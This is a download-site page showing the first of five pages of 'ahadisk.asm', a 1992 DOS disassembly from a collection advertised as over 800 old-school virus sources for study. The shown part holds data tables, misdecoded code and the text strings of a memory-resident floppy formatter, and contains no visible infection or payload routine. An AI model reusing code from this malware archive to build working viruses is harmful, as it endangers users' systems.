⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ahadisk.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        AHADISK				         圹
;圹								         圹
;圹      Created:   29-Feb-92					         圹
;圹      Passes:    5	       Analysis Options on: none	         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_1e		equ	0
data_2e		equ	1
data_3e		equ	3
data_4e		equ	94h
keybd_flags_1_	equ	417h
dsk_recal_stat_	equ	43Eh
dsk_motor_stat_	equ	43Fh
dsk_motor_tmr_	equ	440h
video_mode_	equ	449h
video_port_	equ	463h
timer_low_	equ	46Ch
hdsk0_media_st_	equ	490h
data_16e	equ	1000h			;*
data_17e	equ	0			;*
data_18e	equ	3			;*
data_234e	equ	7C3Eh			;*

;--------------------------------------------------------------	seg_a  ----

seg_a		segment	byte public
		assume cs:seg_a , ds:seg_a


;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;
;			Program Entry Point
;
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


ahadisk		proc	far

start:
		jmp	loc_262
data_24		db	0, 0
data_25		dw	0
data_26		dw	0
data_27		dw	0
data_28		db	0
data_29		db	0
data_30		db	0
		db	0
data_31		dw	1
data_32		db	19h
		db	0
data_33		db	' ', 0
		db	27h, 0
		db	'.', 0
		db	' 360 K', 0
		db	' 1.2 M', 0
		db	' 720 K', 0
		db	'1.44 M', 0
data_37		db	0FFh
		db	 11h,0FFh
data_38		db	1Dh
		db	0FFh, 11h,0FFh, 23h
data_39		db	1
		db	0, 2, 0
data_40		db	23h
		db	 00h, 3Bh, 00h, 23h, 00h, 47h
		db	 00h
data_41		db	2
		db	1, 2
data_42		db	1
data_43		db	0DFh
		db	0DFh,0DFh,0AFh
data_44		db	9
		db	 0Fh, 09h, 12h
data_45		db	2Ah
		db	 1Bh, 2Ah, 1Ah
data_46		db	50h
		db	 54h, 50h, 6Ch
data_47		db	0FDh
		db	0F9h,0F9h,0F0h
data_48		db	70h
		db	0
		db	0E0h, 00h

locloop_2:
		jo	loc_3			; Jump if overflow=1
loc_3:
		loopnz	$+2			; Loop if zf=0, cx>0

		rol	byte ptr [bp+si],1	; Rotate
		db	 60h, 09h,0A0h, 05h, 40h, 0Bh
data_50		db	2
		db	0, 7, 0, 3, 0, 9
		db	0
data_51		db	62h
		db	 01h, 43h, 09h,0C9h, 02h, 1Fh
		db	 0Bh
data_52		db	6
		db	1, 4, 3
data_53		db	0
data_54		dw	0
data_55		db	0
data_56		db	0
data_57		db	2Ah
data_58		db	50h
data_59		db	0
data_60		db	0, 0
data_61		dw	0
data_62		db	0
data_63		db	0
data_64		db	0
data_65		db	0
data_66		db	0
data_67		dw	0
data_68		dw	0
data_69		db	0
data_70		db	0
data_71		db	0
data_72		db	0
data_73		db	0
data_74		db	0
data_75		db	0
data_76		db	0
data_77		db	0
data_78		db	0
data_79		db	0
data_80		db	0
data_81		dw	130Dh
data_82		dw	0
data_84		dw	0
data_85		dw	0
data_86		dw	0
data_87		dw	0
data_88		dw	0
data_89		dw	0
data_90		dw	0
data_91		dw	0
data_92		dw	0
data_93		dw	0
data_94		db	0
data_95		db	0
data_96		db	0Bh
data_97		db	0
data_98		db	0, 0
data_99		db	0
data_100	dw	0
data_101	db	0
data_102	db	0
data_103	db	0
data_104	db	0
data_105	dw	0
data_106	dw	0
data_107	db	0
data_108	db	0
data_109	db	0
data_110	db	6
data_111	db	0A0h
data_112	db	0
data_113	db	0
		db	11 dup (0)
data_115	db	0
		db	9 dup (0)

ahadisk		endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_2		proc	near
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+di],al
		add	[bx],cl
		add	[bx+di],al
		add	[bp+si],cl
		add	[si+0],ah
;*		call	sub_5			;*
		db	0E8h, 03h, 10h
		daa				; Decimal adjust
		mov	al,byte ptr ds:[4086h]
		inc	dx
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		ja	$+7			; Jump if above
		add	[bx+si],al
		add	[bx+si],al
		pop	dx
		xor	ax,355Ah
		pop	dx
		xor	ax,577h
		add	[bx+si],al

;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

sub_3:
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		pop	dx
		xor	ax,0
		add	[bx+si],al
		add	[bx+si],al
		pop	dx
		xor	ax,0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		pop	dx
		xor	ax,577h
		pop	dx
		xor	ax,0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	bh,dh
;*		pop	cs			; Dangerous 8088 only
		db	0Fh
;*		jo	loc_4			;*Jump if overflow=1
		db	 70h,0FFh
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[di+6Eh],al
		jz	loc_5			; Jump if zero
		jc	$+22h			; Jump if carry Set
		inc	sp
		jc	$+6Bh			; Jump if carry Set
		jbe	loc_6			; Jump if below or =
		and	[si+6Fh],dl
		and	[bp+si+65h],al
		and	[bp+6Fh],al
		jc	$+6Fh			; Jump if carry Set
		db	 61h, 74h, 20h, 3Fh, 20h, 5Bh
		db	'A'
		db	 5Dh, 00h
		db	'Enter Drive Type ? (0 - 360K, 1 '
		db	'- 1.2M)  [0]'
		db	0
		db	'Enter Drive Type ? (0 - 720K,'
loc_5:
		and	[bx+di],dh
		and	[di],ch
		and	[bx+di],dh
loc_6:
		db	'.44M) [0]'
		db	0
		db	'Number Of Diskette To Be Format '
		db	'(1-11) ['
data_182	dw	3131h
		db	 5Dh, 20h, 3Fh, 20h, 00h
		db	'Insert New Diskette Into Drive '
data_183	db	41h
		db	0
		db	'Press ENTER To Start Format Or E'
		db	'SC To Abort'
		db	0
		db	'Can', 27h, 't Release From Memor'
		db	'y, Interrupt Vector Address Been'
		db	' Changed'
		db	0
		db	'Press Any Key To Return To Main '
		db	'Menu'
		db	0
		db	'No Format Report !'
		db	 00h, 00h, 00h, 00h, 00h, 2Dh
		db	 00h, 00h, 00h, 00h, 00h
		db	 43h, 70h
data_184	db	'HpApNpGpEpEpRpRpOpRp!pFpIpNpIpSp'
		db	'Hp p p', 0
		db	'p', 0
		db	'p p pDisk Not Ready !', 0
		db	'Disk Write Protected !', 0
		db	'Seek Error !', 0
		db	'Abort or Retry ?', 0
		db	'Track 0 Bad, Diskette Unusable !'
		db	0
		db	'Program Interrupted !', 0
		db	'Ready Printer, Press ENTER When '
		db	'Ready !', 0
		db	'Printing ....', 0
		db	'I/O Error !', 0
		db	'Printer Not Ready !', 0
		db	0C9h, 01h, 4Eh,0CDh,0BBh,0BAh
		db	 01h, 4Eh, 20h,0BAh,0BAh, 01h
		db	 13h, 20h,0ADh
		db	'aHa/nBa!Mem Resident Format '
		db	1, 3
		db	' Version 6.9'
		db	 01h, 10h, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0CCh, 01h
		db	 4Eh,0CDh,0B9h,0BAh, 01h, 4Eh
		db	 20h
		db	0BAh,0BAh, 01h, 4Eh, 20h,0BAh
		db	0BAh, 01h, 4Eh, 20h,0BAh,0BAh
		db	 01h, 4Eh, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
		db	 20h,0BAh,0BAh, 01h, 4Eh, 20h
		db	0BAh,0BAh, 01h, 4Eh, 20h,0BAh
		db	0BAh, 01h, 4Eh, 20h,0BAh,0BAh
		db	 01h, 4Eh, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
		db	 20h,0BAh,0BAh, 01h, 4Eh, 20h
		db	0BAh
		db	0BAh, 01h, 4Eh, 20h,0BAh,0BAh
		db	 01h, 4Eh, 20h,0BAh,0BAh, 01h
		db	4Eh
		db	 20h,0BAh,0BAh, 01h, 4Eh, 20h
		db	0BAh,0BAh, 01h, 4Eh, 20h,0BAh
		db	0BAh, 01h
		db	 4Eh, 20h
		db	0BAh,0C8h, 01h, 4Eh,0CDh,0BCh
		db	 01h, 87h,0D0h, 1Fh,0C9h, 01h
		db	 4Eh,0CDh,0BBh,0BAh, 01h, 4Eh
		db	 20h,0BAh,0BAh, 01h, 13h, 20h
		db	0ADh
		db	'aHa/nBa!Mem Resident Format '
		db	1, 3
		db	' Version 6.9'
		db	 01h, 10h, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0CCh, 01h
		db	 4Eh,0CDh,0B9h,0BAh, 01h, 1Ch
		db	 20h
		db	0DAh, 01h, 15h,0C4h,0BFh, 01h
		db	 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
		db	 20h,0B3h
		db	' Print Out '
		db	0ADh
		db	'aHa/nBa! '
		db	0B3h, 01h, 1Bh, 20h,0BAh,0BAh
		db	 01h, 1Ch, 20h,0C0h, 01h, 15h
		db	0C4h,0D9h, 01h, 1Bh, 20h,0BAh
		db	0BAh, 01h, 1Ch, 20h,0DAh, 01h
		db	 15h,0C4h
		db	0BFh, 01h, 1Bh, 20h,0BAh,0BAh
		db	 01h, 1Ch, 20h,0B3h, 01h, 04h
		db	' Start format'
		db	 01h, 05h, 20h,0B3h, 01h, 1Bh
		db	 20h,0BAh,0BAh, 01h, 1Ch, 20h
		db	0C0h, 01h, 15h,0C4h,0D9h, 01h
		db	 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
		db	 20h,0DAh, 01h, 15h,0C4h,0BFh
		db	 01h, 1Bh, 20h,0BAh,0BAh, 01h
		db	 1Ch, 20h,0B3h, 01h, 04h
		db	' Format report'
		db	 01h, 04h, 20h,0B3h, 01h, 1Bh
		db	 20h,0BAh,0BAh, 01h, 1Ch, 20h
		db	0C0h, 01h, 15h,0C4h,0D9h, 01h
		db	 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
		db	 20h,0DAh, 01h, 15h,0C4h,0BFh
		db	 01h, 1Bh, 20h,0BAh,0BAh, 01h
		db	 1Ch, 20h,0B3h
		db	'  Track display o'
data_187	dw	206Eh
		db	 20h, 20h,0B3h, 01h, 1Bh, 20h
		db	0BAh,0BAh, 01h, 1Ch, 20h,0C0h
		db	 01h, 15h,0C4h,0D9h, 01h, 1Bh
		db	 20h,0BAh,0BAh, 01h, 1Ch, 20h
		db	0DAh, 01h, 15h,0C4h,0BFh, 01h
		db	 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
		db	 20h,0B3h
		db	' Release from memory '
		db	0B3h, 01h, 1Bh, 20h,0BAh,0BAh
		db	 01h, 1Ch, 20h,0C0h, 01h, 15h
		db	0C4h,0D9h, 01h, 1Bh, 20h,0BAh
		db	0BAh, 01h, 1Ch, 20h,0DAh, 01h
		db	 15h,0C4h,0BFh, 01h, 1Bh, 20h
		db	0BAh,0BAh, 01h, 1Ch, 20h,0B3h
		db	 01h, 09h, 20h, 45h, 78h, 69h
		db	 74h, 01h, 08h, 20h,0B3h, 01h
		db	 1Bh, 20h,0BAh,0BAh, 01h, 1Ch
		db	 20h,0C0h, 01h, 15h,0C4h,0D9h
		db	 01h, 1Bh, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0C8h, 01h, 4Eh
		db	0CDh,0BCh, 01h, 87h,0D0h, 1Fh
		db	0C9h, 01h, 4Eh,0CDh,0BBh,0BAh
		db	 01h, 4Eh, 20h,0BAh,0BAh, 01h
		db	 13h, 20h,0ADh
		db	'aHa/nBa!Mem Resident Format '
		db	1, 3
		db	' Version 6.9'
		db	 01h, 10h, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0CCh, 01h
		db	4Eh
		db	0CDh,0B9h,0BAh, 01h, 4Eh, 20h
		db	0BAh,0BAh, 01h, 4Eh, 20h,0BAh
		db	0BAh, 01h, 4Eh, 20h,0BAh,0BAh
		db	 01h, 4Eh, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
		db	 20h,0BAh,0BAh, 01h, 4Eh, 20h
		db	0BAh,0BAh, 01h, 4Eh, 20h,0BAh
		db	0BAh, 01h, 4Eh, 20h,0BAh,0BAh
		db	 01h, 4Eh, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
		db	 20h,0BAh,0BAh, 01h, 4Eh, 20h
		db	0BAh
		db	0BAh, 01h, 4Eh, 20h,0BAh,0BAh
		db	 01h, 4Eh, 20h,0BAh,0CCh, 01h
		db	 17h
		db	0CDh,0D1h, 01h, 0Fh,0CDh,0D1h
		db	 01h, 10h,0CDh,0D1h, 01h, 15h
		db	0CDh,0B9h,0BAh, 01h
		db	3
		db	' Drive To Be Format  '
		db	0B3h, 01h, 03h
		db	' Drive Type  '
		db	0B3h
		db	'  Diskette No.  '
		db	0B3h
		db	'  Total Diskette(s)  '
		db	0BAh,0C7h, 01h, 17h,0C4h,0C5h
		db	 01h, 0Fh,0C4h,0C5h, 01h, 10h
		db	0C4h,0C5h, 01h, 15h,0C4h,0B6h
		db	0BAh, 01h, 0Bh
		db	20h
data_188	db	41h
		db	 01h, 0Bh, 20h,0B3h, 01h, 05h
		db	 20h
data_189	db	31h
		db	 2Eh, 34h, 34h, 20h, 4Dh, 01h
		db	 04h, 20h,0B3h, 01h, 06h
		db	20h
data_190	dw	3120h
		db	 01h, 08h, 20h,0B3h, 01h
		db	 09h, 20h
data_191	dw	3131h
		db	1
		db	 0Ah, 20h,0BAh,0C8h, 01h
		db	 17h,0CDh,0CFh, 01h, 0Fh,0CDh
		db	0CFh, 01h, 10h,0CDh,0CFh, 01h
		db	 15h,0CDh,0BCh, 01h, 87h,0D0h
		db	 1Fh,0C9h, 01h, 4Eh,0CDh,0BBh
		db	0BAh, 01h, 4Eh, 20h,0BAh,0BAh
		db	 01h, 13h
		db	' Background Diskette Formatter S'
		db	'tatus Report'
		db	 01h, 10h, 20h,0BAh,0BAh, 01h

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -